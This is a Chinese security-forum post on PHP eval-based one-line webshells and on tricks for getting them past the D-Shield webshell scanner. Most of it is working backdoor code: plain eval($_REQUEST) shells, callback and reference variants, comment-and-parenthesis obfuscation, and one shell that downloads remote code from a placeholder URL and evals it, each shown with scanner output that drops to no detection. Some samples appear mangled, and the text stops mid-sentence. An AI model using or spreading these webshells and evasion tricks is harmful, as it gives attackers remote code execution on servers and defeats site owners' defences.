

eval与php一句话的关系

[抹布](#) / 2019-03-29 09:31:00 / 浏览数 5279 [安全技术](#) [WEB安全](#) [顶\(0\)](#) [踩\(0\)](#)

part1

首先我们知道，eval能执行php代码，最常见的php一句话也是用eval关键字的。

```
<?php @eval($_GET["code"])?>
```

Part2

在论坛学习的时候，有一个现象，如果有人分享免杀一句话，里面用了 eval 这个关键字，很多人就会如图。



Part3


很多表哥都这样说，主要还是因为eval这个函数，在人们心中是个危险函数，基本WAF看见秒杀那种，可事实真的是这样嘛??!

Part4

我们先写一个必被秒杀的一句话

```
<?php
$a= $_REQUEST[1];
eval($a);
?>
```

D盾 4级


文件（支持拖放目录和扫描）	级别	说明	大小	修改时间
 d:\phpstudy\www\now\1.php	4	Eval后门 {参数:\$_REQUEST[1]}	39	2019-03-23 12:51:15

将变量\$a的值引用给\$b，所以在这里\$a和\$b是相等的。

```
<?php
@$a = $_REQUEST[1];
eval($b=&$a);
?>
```

D盾 1级

以前是可以0级的，今天D盾更新了嘎嘎。


文件（支持拖放目录和扫描）	级别	说明	大小	修改时间
 d:\phpstudy\www\now\1.php	1	Eval后门 {参数:@\$a}	45	2019-03-23 12:53:00

Part5

利用php注释/**/ 与括号()
首先我先来看看下面这个一句话

```
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval($a);
?>
```

D盾 1级

文件（支持拖放目录和扫描）	级别	说明	大小	修改时间
 d:\phpstudy\www\now\1.php	1	可疑eval	82	2019-03-23 14:24:23

那么如何做到0级呢，我们可以利用()
/**/

```
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(**/($a));
?>
```

D盾并没有扫描出来

扫描结束

检测文件数:1 发现可疑文件:0 用时:0.00秒

 返回


关于()
/**/早就有大佬写文章时提出了，如何有效利用呢，一般如果你使用回调函数写的一句话，时间久了被waf杀，你可以尝试用这种方法，说不定可以让你的一句话起死回生。

Part5

举个例子嘿
这个马子是很久以前的，早就加入特征库。

```
<?php $a=fopen('http://xxxx/xx.txt','r');$b='';while(false!=$c=fread($a,8080)){$b.=$c;}print(eval(($c=$b)));fclose($a);
```

D盾 5级

文件（支持拖放目录和扫描）	级别	说明	大小	修改时间
 d:\phpstudy\www\now\1.php	5	已知后门	121	2019-03-23 14:33:56

利用()
//来混淆** 这也算是D盾的一种bug。

```
<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=$c=fread($a,8080)){$b.=$c;}print(**/(**/eval(**/
```

D盾 0级

扫描结束

检测文件数:1 发现可疑文件:0 用时:0.00秒

 返回

Part6

杂谈
各种webshell扫描软件都有不同的优缺点，D盾的话各种能力比较综合，也在不断更新，特征库也比较全，有个有趣的的就是D盾扫描一个只有几十字节的一句话报1，2级，只WEBDIR+检测引擎这个真的满厉害的，各种回调基本能杀，但是就算是正常文件体积大点都被查出后门，有点误报，绕过的话，不使用回调来写一句话更容易过，用一些字

点击收藏 | 7 关注 | 1
[上一篇：应用型安全算法工程师的自我修养](#) [下一篇：TheCarProject CM...](#)

1. 0 条回复
- 动手手指，沙发就是你的了！

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)